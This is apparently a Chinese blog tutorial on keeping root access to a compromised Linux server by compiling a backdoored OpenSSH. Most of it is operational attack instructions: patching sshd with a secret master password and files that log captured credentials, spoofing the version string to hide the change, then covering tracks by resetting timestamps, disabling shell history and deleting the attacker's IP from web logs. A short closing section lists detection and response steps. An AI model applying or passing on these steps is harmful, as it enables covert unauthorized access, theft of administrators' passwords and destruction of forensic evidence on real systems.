Linux渗透之OpenSSH后门

  当我们拿到一个服务器的shell之后,肯定需要维持好我们的权限,这里我们需要留个后门方便我们进出。这里我们不讨论提权的问题,前提我们通过各种方式提权到root,拿到root之后才是我们留后门的开始。做了个openssh的后门,也就是root双密码,管理一个密码、我们的后门一个密码,不影响管理的那个密码。
  这里我们讨论两个Linux,实验环境为Centos 7和Ubuntu 16.0.4

0x01 查看版本

1
ssh -V

Centos 7.0

Ubuntu 16.0.4

有必要的话需要对原ssh配置文件进行备份,可以对后期的文件时间进行修改:

1
2
cp -p /etc/ssh/ssh_config / etc/ssh/ssh_config.bak
cp -p /etc/ssh/sshd_config / etc/ssh/sshd_config.bak

0x02 下载SSH配置文件

openssh-5.9p1.tar.gz
openssh-5.9p1.patch.tar.gz
  使用wget进行远程下载,如果没有安装wget,可以安装可以直接下载openssh源码,也可以使用菜刀大马等上传上去。

1
2
Centos:yum -y install wget
Ubuntu:apt-get install wget

0x03 编辑安装

Centos 7

1
2
3
4
tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/ 复制patch后门文件到正常openssh里面
patch < sshbd5.9p1.diff




可能遇到的问题patch未安装

1
yum -y install patch

Ubuntu 16.0.4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sudo apt-get install openssh-server #安装SSH
sudo service ssh start
vim /etc/ssh/sshd_config #设置root连接ssh
#Authentication:
LoginGraceTime 120
PermitRootLogin prohibit-password
StrictModes yes
改成
#Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes yes
/etc/init.d/ssh restart #重启

  编辑安装Centos 7和Ubuntu 16.0.4过程一样,就不过多介绍了。

0x04 修改后门密码和文件记录

1
2
3
4
5
6
7
root@localhost openssh-5.9p1# vim includes.h
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog" # 记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" # 记录本机登录到远程的用户名和密码
#define SECRETPW "warden" # 远程连接密码
#endif /* INCLUDES_H */

  可以对后门密码和记录文件进行修改,在文件前面加上.相当于是隐藏文件,也可以换个隐蔽的目录。修改之后的

1
2
3
4
5
root@localhost openssh-5.9p1# vim version.h
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
#define SSH_VERSION "OpenSSH_5.3p1"
#define SSH_PORTABLE "p1"
#define SSH_RELEASE SSH_VERSION SSH_PORTABLE

  可以根据我们刚才的查看的版本信息进行修改,使其版本一致不易被管理员发现和察觉。

0x05 编译安装

Centos 7
首先对ssh里面的几个key的权限进行修改,否则可能进行编译的时候key不能修改而报错。

1
2
3
chmod 620 moduli
chmod 600 sshd_config ssh_host_ecdsa_key ssh_host_rsa_key
chmod 644 ssh_config ssh_host_ecdsa_key.pub ssh_host_rsa_key.pub

安装环境编译运行

1
2
3
4
5
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service


  可以看到我们已经编译成功,我们的OpenSSH后门已经设置成功。使用我们的后门密码可以正常登陆,以前的密码也有记录,实验成功。

Ubuntu 16.04

安装环境编译运行

1
2
3
4
5
apt-get install -y openssl libssl-dev libpam0g-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make clean
make && make install
/etc/init.d/ssh restart


  可以看到我们已经编译成功,我们的OpenSSH后门已经设置成功。使用我们的后门密码可以正常登陆,以前的密码也有记录,实验成功。

0x06 系统优化

  恢复新配置文件的日期跟旧文件日期一致对ssh_config和sshd_config新旧文件进行内容对比,使其配置文件一致,然后在修改文件日期。

1
2
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志

1
2
3
4
5
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

0x07 修复方案与应急响应

1)重装openssh软件
2)SSH禁止对外开放

应急响应:
1)比对ssh的版本
ssh -V
2)查看ssh配置文件和/usr/sbin/sshd的时间
stat /usr/sbin/sshd
3)strings检查/usr/sbin/sshd,看是否有邮箱信息
strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过strings /usr/sbin/sshd可以查看到邮箱信息。
4)通过strace监控sshd进程读写文件的操作
一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

1
2
3
4
5
ps axu | grep sshd | grep -v grep
root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd
strace -o aa -ff -p 65530
grep open aa* | grep -v -e No -e null -e denied| grep WR
aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4